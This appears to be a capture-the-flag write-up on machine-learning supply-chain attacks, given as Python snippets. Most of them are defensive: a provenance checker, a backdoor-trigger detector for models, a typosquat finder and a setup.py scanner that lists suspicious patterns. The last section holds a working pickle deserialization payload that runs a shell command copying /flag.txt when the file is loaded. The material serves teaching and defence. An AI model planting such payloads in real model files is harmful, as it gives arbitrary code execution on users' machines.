CTF: Supply Chain Saboteur

import hashlib
import json
import numpy as np
from pathlib import Path
 
def check_model_provenance(model_card: dict) -> list[str]:
    """Check a model card for supply chain risk indicators."""
    warnings = []
 
    # Check author verification
    if not model_card.get("author_verified", False):
        warnings.append("WARN: Author identity not verified")
 
    # Check training data documentation
    if "training_data" not in model_card:
        warnings.append("WARN: No training data documentation")
 
    # Check for suspiciously recent upload with high download count
    upload_age_days = model_card.get("age_days", 0)
    downloads = model_card.get("downloads", 0)
    if upload_age_days < 30 and downloads > 10000:
        warnings.append(
            f"WARN: {downloads} downloads in {upload_age_days} days "
            "-- potential artificial inflation"
        )
 
    # Check model hash against known-good registry
    if model_card.get("sha256") not in KNOWN_GOOD_HASHES:
        warnings.append("WARN: Model hash not in known-good registry")
 
    return warnings
 
def detect_backdoor_behavior(
    model,
    clean_inputs: list,
    trigger_candidates: list,
    threshold: float = 0.15,
) -> dict:
    """
    Compare model behavior on clean vs. potentially triggered inputs.
    A large divergence suggests backdoor behavior.
    """
    clean_outputs = [model.predict(x) for x in clean_inputs]
    results = {}
 
    for trigger in trigger_candidates:
        triggered_inputs = [inject_trigger(x, trigger) for x in clean_inputs]
        triggered_outputs = [model.predict(x) for x in triggered_inputs]
 
        # Measure behavioral divergence
        divergence = compute_output_divergence(clean_outputs, triggered_outputs)
        if divergence > threshold:
            results[trigger] = {
                "divergence": divergence,
                "affected_samples": sum(
                    1 for c, t in zip(clean_outputs, triggered_outputs)
                    if c != t
                ),
            }
 
    return results

import difflib
from typing import Optional
 
# Known legitimate packages for ML pipelines
LEGITIMATE_PACKAGES = {
    "torch", "torchvision", "transformers", "datasets",
    "numpy", "scipy", "pandas", "scikit-learn",
    "tokenizers", "accelerate", "safetensors",
    "huggingface-hub", "evaluate", "peft",
}
 
def find_typosquats(
    requirements: list[str],
    known_packages: set[str] = LEGITIMATE_PACKAGES,
    threshold: float = 0.85,
) -> list[dict]:
    """
    Identify potential typosquatting in a requirements list.
    Returns packages that are suspiciously similar to known packages.
    """
    suspicious = []
    for req in requirements:
        pkg_name = req.split("==")[0].split(">=")[0].strip().lower()
        if pkg_name in known_packages:
            continue
 
        # Check similarity against known packages
        for legit in known_packages:
            ratio = difflib.SequenceMatcher(None, pkg_name, legit).ratio()
            if ratio >= threshold and pkg_name != legit:
                suspicious.append({
                    "package": pkg_name,
                    "similar_to": legit,
                    "similarity": ratio,
                    "warning": f"Possible typosquat of '{legit}'",
                })
    return suspicious
 
def analyze_setup_py(setup_content: str) -> list[str]:
    """Check setup.py for suspicious patterns."""
    red_flags = []
    suspicious_patterns = [
        ("subprocess", "Executes system commands"),
        ("os.system", "Executes system commands"),
        ("socket", "Network communication"),
        ("requests.post", "Sends data to external server"),
        ("base64.b64decode", "Decoded obfuscated payload"),
        ("exec(", "Dynamic code execution"),
        ("eval(", "Dynamic code evaluation"),
        ("__import__", "Dynamic module import"),
    ]
    for pattern, description in suspicious_patterns:
        if pattern in setup_content:
            red_flags.append(f"RED FLAG: {description} ({pattern})")
    return red_flags

import pickle
import os
 
class MaliciousModel:
    """
    A class that executes arbitrary code when unpickled.
    Demonstrates why pickle should never be used for
    untrusted model files.
    """
    def __reduce__(self):
        # This method is called during deserialization
        # It can execute arbitrary code
        return (
            os.system,
            ("cat /flag.txt > /tmp/exfiltrated.txt",)
        )
 
def create_poisoned_model(output_path: str = "model.pkl"):
    """Create a model file that executes code on load."""
    payload = MaliciousModel()
    with open(output_path, "wb") as f:
        pickle.dump(payload, f)
    print(f"Poisoned model written to {output_path}")
 
def demonstrate_safe_alternative():
    """Show the safe alternative using safetensors."""
    from safetensors.torch import save_file, load_file
    import torch
 
    # Safetensors only stores tensor data, no code execution
    tensors = {"weight": torch.randn(10, 10)}
    save_file(tensors, "model.safetensors")
    loaded = load_file("model.safetensors")  # Safe -- no code runs